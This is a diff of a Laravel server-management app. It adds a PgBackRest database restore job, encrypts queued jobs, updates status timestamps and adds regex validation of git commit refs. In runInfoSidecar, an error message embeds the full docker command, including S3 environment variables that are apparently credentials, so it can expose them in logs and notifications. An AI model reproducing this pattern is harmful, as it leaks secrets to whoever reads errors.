throw $restoreError;
|
||||
}
|
||||
} catch (Throwable $e) {
|
||||
Log::error('PgBackRest restore failed', [
|
||||
'database' => $this->database->uuid,
|
||||
'restore_id' => $this->restore->uuid,
|
||||
'error' => $e->getMessage(),
|
||||
'trace' => $e->getTraceAsString(),
|
||||
]);
|
||||
|
||||
$this->restore->updateStatus('failed', 'Restore failed: '.$e->getMessage());
|
||||
|
||||
$team = $this->database->team();
|
||||
if ($team) {
|
||||
$team->notify(new DatabaseRestoreFailed(
|
||||
$this->database,
|
||||
$e->getMessage(),
|
||||
$this->restore->target_label
|
||||
));
|
||||
}
|
||||
|
||||
try {
|
||||
$this->restore->appendLog('Attempting to restart PostgreSQL after failed restore.');
|
||||
StartPostgresql::run($this->database);
|
||||
} catch (Throwable $restartError) {
|
||||
$this->restore->appendLog('Failed to restart PostgreSQL: '.$restartError->getMessage());
|
||||
}
|
||||
|
||||
throw $e;
|
||||
}
|
||||
}
|
||||
|
||||
private function preflight(string $stanza): void
|
||||
{
|
||||
$this->restore->appendLog('Running pre-flight validation.');
|
||||
|
||||
if (! $this->database->hasPgBackrestBackups()) {
|
||||
throw new RuntimeException('No PgBackRest backup configuration found for this database.');
|
||||
}
|
||||
|
||||
$backup = $this->database->pgbackrestBackups()->where('enabled', true)->first();
|
||||
if (! $backup) {
|
||||
throw new RuntimeException('No enabled PgBackRest backup configuration found.');
|
||||
}
|
||||
|
||||
$s3Repos = $backup->pgbackrestRepos()->where('type', 's3')->where('enabled', true)->get();
|
||||
foreach ($s3Repos as $s3Repo) {
|
||||
$s3 = $s3Repo->s3Storage;
|
||||
if (! $s3) {
|
||||
throw new RuntimeException("S3 storage configuration not found for repo {$s3Repo->repo_number}.");
|
||||
}
|
||||
|
||||
try {
|
||||
$s3->testConnection(shouldSave: true);
|
||||
} catch (Throwable $e) {
|
||||
throw new RuntimeException("S3 connection test failed for repo {$s3Repo->repo_number}: ".$e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
$pgdataVolume = $this->database->pgdataVolume();
|
||||
if (! $pgdataVolume) {
|
||||
throw new RuntimeException('PGDATA volume not found.');
|
||||
}
|
||||
|
||||
$repoVolume = $this->database->pgbackrestRepoVolume();
|
||||
$hasLocalRepo = $backup->hasLocalRepo();
|
||||
if (! $repoVolume && $hasLocalRepo) {
|
||||
throw new RuntimeException('PgBackRest repository volume not found.');
|
||||
}
|
||||
|
||||
$this->restore->appendLog('Verifying backup exists in repository via sidecar container.');
|
||||
$info = $this->runInfoSidecar($stanza, $backup);
|
||||
|
||||
if (! PgBackrestService::stanzaExists($info)) {
|
||||
throw new RuntimeException('PgBackRest stanza does not exist or is not healthy.');
|
||||
}
|
||||
|
||||
if (! PgBackrestService::hasBackups($info)) {
|
||||
throw new RuntimeException('No backups found in PgBackRest repository.');
|
||||
}
|
||||
|
||||
if ($this->execution && $this->execution->pgbackrest_label) {
|
||||
$targetBackup = PgBackrestService::findBackupByLabel($info, $this->execution->pgbackrest_label);
|
||||
if (! $targetBackup) {
|
||||
throw new RuntimeException("Backup with label '{$this->execution->pgbackrest_label}' not found in repository.");
|
||||
}
|
||||
$this->restore->appendLog("Target backup verified: {$this->execution->pgbackrest_label}");
|
||||
} else {
|
||||
$latestBackup = PgBackrestService::getLatestBackup($info);
|
||||
if ($latestBackup) {
|
||||
$this->restore->appendLog("Will restore from latest backup: {$latestBackup['label']}");
|
||||
}
|
||||
}
|
||||
|
||||
$this->restore->appendLog('Pre-flight validation passed.');
|
||||
}
|
||||
|
||||
private function runInfoSidecar(string $stanza, $backup): array
|
||||
{
|
||||
$server = $this->database->destination->server;
|
||||
$configDir = $this->getHostPath($this->database->workdir().'/pgbackrest');
|
||||
$network = $this->database->destination->network;
|
||||
|
||||
$mounts = [];
|
||||
$envPieces = [];
|
||||
|
||||
$repoVolume = $this->database->pgbackrestRepoVolume();
|
||||
if ($repoVolume) {
|
||||
$repoMount = $repoVolume->host_path ?: $repoVolume->name;
|
||||
$mounts[] = '-v '.escapeshellarg($repoMount.':/var/lib/pgbackrest');
|
||||
}
|
||||
|
||||
$mounts[] = '-v '.escapeshellarg($configDir.':/etc/pgbackrest:ro');
|
||||
|
||||
$s3EnvVars = PgBackrestService::buildS3EnvVars($backup);
|
||||
foreach ($s3EnvVars as $key => $value) {
|
||||
$envPieces[] = '-e '.$key.'='.escapeshellarg($value);
|
||||
}
|
||||
|
||||
$infoCmd = PgBackrestService::buildInfoCommand($stanza, true);
|
||||
$sidecarName = 'pgbackrest-info-'.$this->database->uuid.'-'.time();
|
||||
|
||||
$cmd = sprintf(
|
||||
'docker run --rm --name %s --network %s %s %s %s sh -c %s 2>&1',
|
||||
escapeshellarg($sidecarName),
|
||||
escapeshellarg($network),
|
||||
implode(' ', $envPieces),
|
||||
implode(' ', $mounts),
|
||||
escapeshellarg($this->getSidecarImage()),
|
||||
escapeshellarg($this->getInstallAndRunCommand($infoCmd))
|
||||
);
|
||||
|
||||
$output = instant_remote_process([$cmd], $server, false, false, 120, disableMultiplexing: true);
|
||||
|
||||
if ($output === null || $output === '') {
|
||||
throw new RuntimeException('Failed to get PgBackRest info - command returned no output. Command: '.$cmd);
|
||||
}
|
||||
|
||||
$jsonStart = strpos($output, '[');
|
||||
if ($jsonStart !== false) {
|
||||
$output = substr($output, $jsonStart);
|
||||
}
|
||||
|
||||
$info = PgBackrestService::parseInfoJson($output);
|
||||
if ($info === null) {
|
||||
throw new RuntimeException('Failed to parse PgBackRest info output: '.$output);
|
||||
}
|
||||
|
||||
return $info;
|
||||
}
|
||||
|
||||
private function backupCurrentPgData(int $timestamp): ?string
|
||||
{
|
||||
$server = $this->database->destination->server;
|
||||
$pgdataVolume = $this->database->pgdataVolume();
|
||||
|
||||
if (! $pgdataVolume) {
|
||||
throw new RuntimeException('PGDATA volume not found.');
|
||||
}
|
||||
|
||||
$volumeName = $pgdataVolume->host_path ?: $pgdataVolume->name;
|
||||
$backupVolumeName = "{$pgdataVolume->name}_backup_{$timestamp}";
|
||||
|
||||
$sourceMount = escapeshellarg($volumeName.':/data');
|
||||
$checkCmd = 'docker run --rm -v '.$sourceMount." alpine sh -c 'test -n \"\$(ls -A /data 2>/dev/null)\" && echo OK || echo EMPTY'";
|
||||
$checkResult = instant_remote_process([$checkCmd], $server, false, false, 30, disableMultiplexing: true);
|
||||
|
||||
if (trim($checkResult) === 'EMPTY') {
|
||||
$this->restore->appendLog('No existing PGDATA to backup (directory is empty).');
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
instant_remote_process(['docker volume create '.escapeshellarg($backupVolumeName)], $server, false, false, 30, disableMultiplexing: true);
|
||||
|
||||
$sourceReadOnlyMount = escapeshellarg($volumeName.':/source:ro');
|
||||
$backupMount = escapeshellarg($backupVolumeName.':/backup');
|
||||
$copyCmd = 'docker run --rm -v '.$sourceReadOnlyMount.' -v '.$backupMount." alpine sh -c 'cp -a /source/. /backup/'";
|
||||
instant_remote_process([$copyCmd], $server, true, false, $this->timeout, disableMultiplexing: true);
|
||||
|
||||
$verifyCmd = 'docker run --rm -v '.$backupMount." alpine sh -c 'test -n \"\$(ls -A /backup 2>/dev/null)\" && echo OK'";
|
||||
$result = instant_remote_process([$verifyCmd], $server, false, false, 30, disableMultiplexing: true);
|
||||
|
||||
if (trim($result) !== 'OK') {
|
||||
throw new RuntimeException('PGDATA backup verification failed: backup volume is empty or inaccessible.');
|
||||
}
|
||||
|
||||
$this->restore->appendLog("PGDATA backed up to volume: {$backupVolumeName}");
|
||||
|
||||
return $backupVolumeName;
|
||||
}
|
||||
|
||||
private function recoverFromBackup(string $backupVolumeName): void
|
||||
{
|
||||
try {
|
||||
$server = $this->database->destination->server;
|
||||
$pgdataVolume = $this->database->pgdataVolume();
|
||||
|
||||
if (! $pgdataVolume) {
|
||||
$this->restore->appendLog('Warning: PGDATA volume not found, cannot recover from backup.');
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$volumeName = $pgdataVolume->host_path ?: $pgdataVolume->name;
|
||||
|
||||
$this->restore->appendLog('Recovering PGDATA from backup...');
|
||||
|
||||
$dataMount = escapeshellarg($volumeName.':/data');
|
||||
$clearCmd = 'docker run --rm -v '.$dataMount." alpine sh -c 'rm -rf /data/* /data/.[!.]* /data/..?* 2>/dev/null || true'";
|
||||
instant_remote_process([$clearCmd], $server, false, false, 60, disableMultiplexing: true);
|
||||
|
||||
$sourceMount = escapeshellarg($backupVolumeName.':/source:ro');
|
||||
$copyCmd = 'docker run --rm -v '.$sourceMount.' -v '.$dataMount." alpine sh -c 'cp -a /source/. /data/'";
|
||||
instant_remote_process([$copyCmd], $server, true, false, $this->timeout, disableMultiplexing: true);
|
||||
|
||||
$this->restore->appendLog('PGDATA recovered from backup.');
|
||||
} catch (Throwable $e) {
|
||||
$this->restore->appendLog('Failed to recover from backup: '.$e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private function removePgDataBackup(string $backupVolumeName): void
|
||||
{
|
||||
try {
|
||||
$server = $this->database->destination->server;
|
||||
|
||||
instant_remote_process(['docker volume rm '.escapeshellarg($backupVolumeName).' 2>/dev/null || true'], $server, false, false, 60, disableMultiplexing: true);
|
||||
|
||||
$this->restore->appendLog('Temporary backup volume removed.');
|
||||
} catch (Throwable $e) {
|
||||
$this->restore->appendLog('Warning: Failed to remove temporary backup volume: '.$e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private function clearPgData(): void
|
||||
{
|
||||
$server = $this->database->destination->server;
|
||||
$pgdataVolume = $this->database->pgdataVolume();
|
||||
|
||||
if (! $pgdataVolume) {
|
||||
throw new RuntimeException('PGDATA volume not found.');
|
||||
}
|
||||
|
||||
$mount = $pgdataVolume->host_path ?: $pgdataVolume->name;
|
||||
|
||||
$dataMount = escapeshellarg($mount.':/data');
|
||||
$rmCmd = 'docker run --rm -v '.$dataMount." alpine sh -c 'rm -rf /data/* /data/.[!.]* /data/..?* 2>/dev/null || true'";
|
||||
instant_remote_process([$rmCmd], $server, false, false, $this->timeout, disableMultiplexing: true);
|
||||
|
||||
$this->restore->appendLog('PGDATA directory cleared.');
|
||||
}
|
||||
|
||||
private function verifyRestore(): void
|
||||
{
|
||||
try {
|
||||
$pgdataVolume = $this->database->pgdataVolume();
|
||||
if (! $pgdataVolume) {
|
||||
throw new RuntimeException('PGDATA volume not found.');
|
||||
}
|
||||
|
||||
$server = $this->database->destination->server;
|
||||
$mount = $pgdataVolume->host_path ?: $pgdataVolume->name;
|
||||
|
||||
$dataMount = escapeshellarg($mount.':/data');
|
||||
$checkCmd = 'docker run --rm -v '.$dataMount." alpine test -f /data/PG_VERSION && echo 'OK' || echo 'FAIL'";
|
||||
$result = instant_remote_process([$checkCmd], $server, false, false, 30, disableMultiplexing: true);
|
||||
|
||||
if (trim($result) !== 'OK') {
|
||||
throw new RuntimeException('Restored PGDATA does not contain valid PostgreSQL data (PG_VERSION not found).');
|
||||
}
|
||||
|
||||
$this->restore->appendLog('Restored database verified successfully.');
|
||||
} catch (Throwable $e) {
|
||||
throw new RuntimeException('Database verification failed: '.$e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private function runRestoreSidecar(string $stanza): void
|
||||
{
|
||||
$server = $this->database->destination->server;
|
||||
$configDir = $this->getHostPath($this->database->workdir().'/pgbackrest');
|
||||
$network = $this->database->destination->network;
|
||||
|
||||
$backup = $this->database->pgbackrestBackups()->where('enabled', true)->first();
|
||||
if (! $backup) {
|
||||
throw new RuntimeException('No enabled PgBackRest backup configuration found.');
|
||||
}
|
||||
|
||||
$pgdataVolume = $this->database->pgdataVolume();
|
||||
$repoVolume = $this->database->pgbackrestRepoVolume();
|
||||
|
||||
$pgdataMount = $pgdataVolume->host_path ?: $pgdataVolume->name;
|
||||
|
||||
$mounts = [];
|
||||
$mounts[] = '-v '.escapeshellarg($pgdataMount.':'.PgBackrestService::PGDATA_PATH);
|
||||
|
||||
if ($repoVolume) {
|
||||
$repoMount = $repoVolume->host_path ?: $repoVolume->name;
|
||||
$mounts[] = '-v '.escapeshellarg($repoMount.':/var/lib/pgbackrest');
|
||||
}
|
||||
|
||||
$mounts[] = '-v '.escapeshellarg($configDir.':/etc/pgbackrest:ro');
|
||||
|
||||
$envPieces = ['-e PGBACKREST_PG1_PATH='.escapeshellarg(PgBackrestService::PGDATA_PATH)];
|
||||
|
||||
$s3EnvVars = PgBackrestService::buildS3EnvVars($backup);
|
||||
foreach ($s3EnvVars as $key => $value) {
|
||||
$envPieces[] = '-e '.$key.'='.escapeshellarg($value);
|
||||
}
|
||||
|
||||
$restoreCmd = PgBackrestService::buildRestoreCommand(
|
||||
$stanza,
|
||||
$this->execution?->pgbackrest_label,
|
||||
$this->targetTime,
|
||||
'info'
|
||||
);
|
||||
|
||||
$sidecarName = 'pgbackrest-restore-'.$this->database->uuid.'-'.time();
|
||||
|
||||
$fullRestoreScript = $this->getInstallAndRunCommand($restoreCmd);
|
||||
|
||||
$cmd = sprintf(
|
||||
'docker run --rm --name %s --network %s %s %s %s sh -c %s 2>&1',
|
||||
escapeshellarg($sidecarName),
|
||||
escapeshellarg($network),
|
||||
implode(' ', $envPieces),
|
||||
implode(' ', $mounts),
|
||||
escapeshellarg($this->getSidecarImage()),
|
||||
escapeshellarg($fullRestoreScript)
|
||||
);
|
||||
|
||||
$output = instant_remote_process([$cmd], $server, true, false, $this->timeout, disableMultiplexing: true);
|
||||
|
||||
$this->restore->appendLog('Restore output: '.substr($output, 0, 2000));
|
||||
}
|
||||
|
||||
private function getSidecarImage(): string
|
||||
{
|
||||
return $this->database->image;
|
||||
}
|
||||
|
||||
private function getInstallAndRunCommand(string $command): string
|
||||
{
|
||||
return PgBackrestService::buildInstallAndSetupCommand($command);
|
||||
}
|
||||
|
||||
/**
|
||||
* Convert a path from the SSH target perspective to the Docker host perspective.
|
||||
*/
|
||||
private function getHostPath(string $path): string
|
||||
{
|
||||
return convertPathToDockerHost($path);
|
||||
}
|
||||
|
||||
public function failed(?Throwable $exception): void
|
||||
{
|
||||
Log::channel('scheduled-errors')->error('PgBackRest restore permanently failed', [
|
||||
'job' => 'PgBackrestRestoreJob',
|
||||
'database' => $this->database->uuid,
|
||||
'restore_id' => $this->restore->uuid,
|
||||
'error' => $exception?->getMessage(),
|
||||
'trace' => $exception?->getTraceAsString(),
|
||||
]);
|
||||
|
||||
$this->restore->updateStatus('failed', 'Restore job permanently failed: '.($exception?->getMessage() ?? 'Unknown error'));
|
||||
|
||||
$team = $this->database->team();
|
||||
if ($team) {
|
||||
$team->notify(new DatabaseRestoreFailed(
|
||||
$this->database,
|
||||
$exception?->getMessage() ?? 'Unknown error',
|
||||
$this->restore->target_label
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -307,6 +307,8 @@ class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced
|
|||
if ($aggregatedStatus && $application->status !== $aggregatedStatus) {
|
||||
$application->status = $aggregatedStatus;
|
||||
$application->save();
|
||||
} elseif ($aggregatedStatus) {
|
||||
$application->update(['last_online_at' => now()]);
|
||||
}
|
||||
|
||||
continue;
|
||||
|
|
@ -321,6 +323,8 @@ class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced
|
|||
if ($aggregatedStatus && $application->status !== $aggregatedStatus) {
|
||||
$application->status = $aggregatedStatus;
|
||||
$application->save();
|
||||
} elseif ($aggregatedStatus) {
|
||||
$application->update(['last_online_at' => now()]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -371,6 +375,8 @@ class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced
|
|||
if ($aggregatedStatus && $subResource->status !== $aggregatedStatus) {
|
||||
$subResource->status = $aggregatedStatus;
|
||||
$subResource->save();
|
||||
} elseif ($aggregatedStatus) {
|
||||
$subResource->update(['last_online_at' => now()]);
|
||||
}
|
||||
|
||||
continue;
|
||||
|
|
@ -386,6 +392,8 @@ class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced
|
|||
if ($aggregatedStatus && $subResource->status !== $aggregatedStatus) {
|
||||
$subResource->status = $aggregatedStatus;
|
||||
$subResource->save();
|
||||
} elseif ($aggregatedStatus) {
|
||||
$subResource->update(['last_online_at' => now()]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -399,6 +407,8 @@ class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced
|
|||
if ($application->status !== $containerStatus) {
|
||||
$application->status = $containerStatus;
|
||||
$application->save();
|
||||
} else {
|
||||
$application->update(['last_online_at' => now()]);
|
||||
}
|
||||
}
|
||||
|
||||
|
|
@ -413,6 +423,8 @@ class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced
|
|||
if ($application->status !== $containerStatus) {
|
||||
$application->status = $containerStatus;
|
||||
$application->save();
|
||||
} else {
|
||||
$application->update(['last_online_at' => now()]);
|
||||
}
|
||||
}
|
||||
|
||||
|
|
@ -508,6 +520,8 @@ class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced
|
|||
if ($database->status !== $containerStatus) {
|
||||
$database->status = $containerStatus;
|
||||
$database->save();
|
||||
} else {
|
||||
$database->update(['last_online_at' => now()]);
|
||||
}
|
||||
if ($this->isRunning($containerStatus) && $tcpProxy) {
|
||||
$tcpProxyContainerFound = $this->containers->filter(function ($value, $key) use ($databaseUuid) {
|
||||
|
|
@ -545,8 +559,12 @@ class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced
|
|||
$database = $this->databases->where('uuid', $databaseUuid)->first();
|
||||
if ($database) {
|
||||
if (! str($database->status)->startsWith('exited')) {
|
||||
$database->status = 'exited';
|
||||
$database->save();
|
||||
$database->update([
|
||||
'status' => 'exited',
|
||||
'restart_count' => 0,
|
||||
'last_restart_at' => null,
|
||||
'last_restart_type' => null,
|
||||
]);
|
||||
}
|
||||
if ($database->is_public) {
|
||||
StopDatabaseProxy::dispatch($database);
|
||||
|
|
@ -555,31 +573,6 @@ class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced
|
|||
});
|
||||
}
|
||||
|
||||
private function updateServiceSubStatus(string $serviceId, string $subType, string $subId, string $containerStatus)
|
||||
{
|
||||
$service = $this->services->where('id', $serviceId)->first();
|
||||
if (! $service) {
|
||||
return;
|
||||
}
|
||||
if ($subType === 'application') {
|
||||
$application = $service->applications->where('id', $subId)->first();
|
||||
if ($application) {
|
||||
if ($application->status !== $containerStatus) {
|
||||
$application->status = $containerStatus;
|
||||
$application->save();
|
||||
}
|
||||
}
|
||||
} elseif ($subType === 'database') {
|
||||
$database = $service->databases->where('id', $subId)->first();
|
||||
if ($database) {
|
||||
if ($database->status !== $containerStatus) {
|
||||
$database->status = $containerStatus;
|
||||
$database->save();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private function updateNotFoundServiceStatus()
|
||||
{
|
||||
$notFoundServiceApplicationIds = $this->allServiceApplicationIds->diff($this->foundServiceApplicationIds);
|
||||
|
|
|
|||
|
|
@ -7,13 +7,14 @@ use App\Models\SslCertificate;
|
|||
use App\Models\Team;
|
||||
use App\Notifications\SslExpirationNotification;
|
||||
use Illuminate\Bus\Queueable;
|
||||
use Illuminate\Contracts\Queue\ShouldBeEncrypted;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Foundation\Bus\Dispatchable;
|
||||
use Illuminate\Queue\InteractsWithQueue;
|
||||
use Illuminate\Queue\SerializesModels;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
class RegenerateSslCertJob implements ShouldQueue
|
||||
class RegenerateSslCertJob implements ShouldBeEncrypted, ShouldQueue
|
||||
{
|
||||
use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;
|
||||
|
||||
|
|
|
|||
|
|
@ -4,16 +4,27 @@ namespace App\Jobs;
|
|||
|
||||
use App\Notifications\Dto\SlackMessage;
|
||||
use Illuminate\Bus\Queueable;
|
||||
use Illuminate\Contracts\Queue\ShouldBeEncrypted;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Foundation\Bus\Dispatchable;
|
||||
use Illuminate\Queue\InteractsWithQueue;
|
||||
use Illuminate\Queue\SerializesModels;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
|
||||
class SendMessageToSlackJob implements ShouldQueue
|
||||
class SendMessageToSlackJob implements ShouldBeEncrypted, ShouldQueue
|
||||
{
|
||||
use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;
|
||||
|
||||
/**
|
||||
* The number of times the job may be attempted.
|
||||
*/
|
||||
public $tries = 5;
|
||||
|
||||
/**
|
||||
* The number of seconds to wait before retrying the job.
|
||||
*/
|
||||
public $backoff = 10;
|
||||
|
||||
public function __construct(
|
||||
private SlackMessage $message,
|
||||
private string $webhookUrl
|
||||
|
|
|
|||
|
|
@ -22,6 +22,11 @@ class SendMessageToTelegramJob implements ShouldBeEncrypted, ShouldQueue
|
|||
*/
|
||||
public $tries = 5;
|
||||
|
||||
/**
|
||||
* The number of seconds to wait before retrying the job.
|
||||
*/
|
||||
public $backoff = 10;
|
||||
|
||||
/**
|
||||
* The maximum number of unhandled exceptions to allow before failing.
|
||||
*/
|
||||
|
|
|
|||
|
|
@ -7,6 +7,7 @@ use App\Models\Server;
|
|||
use App\Models\Team;
|
||||
use Cron\CronExpression;
|
||||
use Illuminate\Bus\Queueable;
|
||||
use Illuminate\Contracts\Queue\ShouldBeEncrypted;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Foundation\Bus\Dispatchable;
|
||||
use Illuminate\Queue\InteractsWithQueue;
|
||||
|
|
@ -15,7 +16,7 @@ use Illuminate\Support\Carbon;
|
|||
use Illuminate\Support\Collection;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
class ServerManagerJob implements ShouldQueue
|
||||
class ServerManagerJob implements ShouldBeEncrypted, ShouldQueue
|
||||
{
|
||||
use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;
|
||||
|
||||
|
|
|
|||
|
|
@ -4,11 +4,12 @@ namespace App\Jobs;
|
|||
|
||||
use App\Models\Subscription;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Contracts\Queue\ShouldBeEncrypted;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Foundation\Queue\Queueable;
|
||||
use Illuminate\Support\Str;
|
||||
|
||||
class StripeProcessJob implements ShouldQueue
|
||||
class StripeProcessJob implements ShouldBeEncrypted, ShouldQueue
|
||||
{
|
||||
use Queueable;
|
||||
|
||||
|
|
|
|||
|
|
@ -4,12 +4,13 @@ namespace App\Jobs;
|
|||
|
||||
use App\Models\Subscription;
|
||||
use Illuminate\Bus\Queueable;
|
||||
use Illuminate\Contracts\Queue\ShouldBeEncrypted;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Foundation\Bus\Dispatchable;
|
||||
use Illuminate\Queue\InteractsWithQueue;
|
||||
use Illuminate\Queue\SerializesModels;
|
||||
|
||||
class SyncStripeSubscriptionsJob implements ShouldQueue
|
||||
class SyncStripeSubscriptionsJob implements ShouldBeEncrypted, ShouldQueue
|
||||
{
|
||||
use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;
|
||||
|
||||
|
|
|
|||
|
|
@ -8,13 +8,14 @@ use App\Events\ServerReachabilityChanged;
|
|||
use App\Events\ServerValidated;
|
||||
use App\Models\Server;
|
||||
use Illuminate\Bus\Queueable;
|
||||
use Illuminate\Contracts\Queue\ShouldBeEncrypted;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Foundation\Bus\Dispatchable;
|
||||
use Illuminate\Queue\InteractsWithQueue;
|
||||
use Illuminate\Queue\SerializesModels;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
class ValidateAndInstallServerJob implements ShouldQueue
|
||||
class ValidateAndInstallServerJob implements ShouldBeEncrypted, ShouldQueue
|
||||
{
|
||||
use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;
|
||||
|
||||
|
|
|
|||
|
|
@ -4,12 +4,13 @@ namespace App\Jobs;
|
|||
|
||||
use App\Models\Subscription;
|
||||
use Illuminate\Bus\Queueable;
|
||||
use Illuminate\Contracts\Queue\ShouldBeEncrypted;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Foundation\Bus\Dispatchable;
|
||||
use Illuminate\Queue\InteractsWithQueue;
|
||||
use Illuminate\Queue\SerializesModels;
|
||||
|
||||
class VerifyStripeSubscriptionStatusJob implements ShouldQueue
|
||||
class VerifyStripeSubscriptionStatusJob implements ShouldBeEncrypted, ShouldQueue
|
||||
{
|
||||
use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;
|
||||
|
||||
|
|
|
|||
|
|
@ -37,7 +37,7 @@ class General extends Component
|
|||
#[Validate(['required'])]
|
||||
public string $gitBranch;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
#[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'])]
|
||||
public ?string $gitCommitSha = null;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
|
|
@ -184,7 +184,7 @@ class General extends Component
|
|||
'fqdn' => 'nullable',
|
||||
'gitRepository' => 'required',
|
||||
'gitBranch' => 'required',
|
||||
'gitCommitSha' => 'nullable',
|
||||
'gitCommitSha' => ['nullable', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'],
|
||||
'installCommand' => 'nullable',
|
||||
'buildCommand' => 'nullable',
|
||||
'startCommand' => 'nullable',
|
||||
|
|
|
|||
|
|
@ -50,6 +50,8 @@ class Rollback extends Component
|
|||
{
|
||||
$this->authorize('deploy', $this->application);
|
||||
|
||||
$commit = validateGitRef($commit, 'rollback commit');
|
||||
|
||||
$deployment_uuid = new Cuid2;
|
||||
|
||||
$result = queue_application_deployment(
|
||||
|
|
|
|||
|
|
@ -30,7 +30,7 @@ class Source extends Component
|
|||
#[Validate(['required', 'string'])]
|
||||
public string $gitBranch;
|
||||
|
||||
#[Validate(['nullable', 'string'])]
|
||||
#[Validate(['nullable', 'string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'])]
|
||||
public ?string $gitCommitSha = null;
|
||||
|
||||
#[Locked]
|
||||
|
|
|
|||
|
|
@ -2,9 +2,15 @@
|
|||
|
||||
namespace App\Livewire\Project\Database;
|
||||
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\PgbackrestRepo;
|
||||
use App\Models\ScheduledDatabaseBackup;
|
||||
use App\Models\StandalonePostgresql;
|
||||
use Exception;
|
||||
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
|
||||
use Illuminate\Support\Facades\Auth;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Hash;
|
||||
use Livewire\Attributes\Locked;
|
||||
use Livewire\Attributes\Validate;
|
||||
use Livewire\Component;
|
||||
|
|
@ -67,7 +73,7 @@ class BackupEdit extends Component
|
|||
public bool $disableLocalBackup = false;
|
||||
|
||||
#[Validate(['nullable', 'integer'])]
|
||||
public ?int $s3StorageId = 1;
|
||||
public ?int $s3StorageId = null;
|
||||
|
||||
#[Validate(['nullable', 'string'])]
|
||||
public ?string $databasesToBackup = null;
|
||||
|
|
@ -78,6 +84,66 @@ class BackupEdit extends Component
|
|||
#[Validate(['required', 'int', 'min:60', 'max:36000'])]
|
||||
public int $timeout = 3600;
|
||||
|
||||
#[Validate(['required', 'string'])]
|
||||
public string $engine = 'native';
|
||||
|
||||
#[Validate(['nullable', 'string', 'in:full,diff,incr'])]
|
||||
public ?string $pgbackrestBackupType = 'full';
|
||||
|
||||
#[Validate(['nullable', 'string', 'in:none,bz2,gz,lz4,zst'])]
|
||||
public ?string $pgbackrestCompressType = 'lz4';
|
||||
|
||||
#[Validate(['nullable', 'integer', 'min:0', 'max:9'])]
|
||||
public ?int $pgbackrestCompressLevel = 6;
|
||||
|
||||
#[Validate(['nullable', 'string', 'in:off,error,warn,info,detail,debug,trace'])]
|
||||
public ?string $pgbackrestLogLevel = 'info';
|
||||
|
||||
#[Validate(['nullable', 'string', 'in:standard,reduced,minimal'])]
|
||||
public ?string $pgbackrestArchiveMode = 'standard';
|
||||
|
||||
#[Validate(['nullable', 'string', 'in:count,time'])]
|
||||
public ?string $localRepoRetentionFullType = 'count';
|
||||
|
||||
#[Validate(['nullable', 'integer', 'min:1'])]
|
||||
public ?int $localRepoRetentionFull = 2;
|
||||
|
||||
#[Validate(['nullable', 'integer', 'min:1'])]
|
||||
public ?int $localRepoRetentionDiff = 7;
|
||||
|
||||
#[Validate(['nullable', 'integer'])]
|
||||
public ?int $s3RepoStorageId = null;
|
||||
|
||||
#[Validate(['nullable', 'string', 'in:count,time'])]
|
||||
public ?string $s3RepoRetentionFullType = 'count';
|
||||
|
||||
#[Validate(['nullable', 'integer', 'min:1'])]
|
||||
public ?int $s3RepoRetentionFull = 2;
|
||||
|
||||
#[Validate(['nullable', 'integer', 'min:1'])]
|
||||
public ?int $s3RepoRetentionDiff = 7;
|
||||
|
||||
public function getShowLocalRepoSettingsProperty(): bool
|
||||
{
|
||||
return ! $this->disableLocalBackup || ! $this->saveS3;
|
||||
}
|
||||
|
||||
/**
|
||||
* Toggle between pgBackRest and native backup engines.
|
||||
*/
|
||||
public function togglePgbackrestEngine(): void
|
||||
{
|
||||
$this->authorize('update', $this->backup->database);
|
||||
|
||||
if (! $this->isPostgresql()) {
|
||||
$this->engine = 'native';
|
||||
|
||||
return;
|
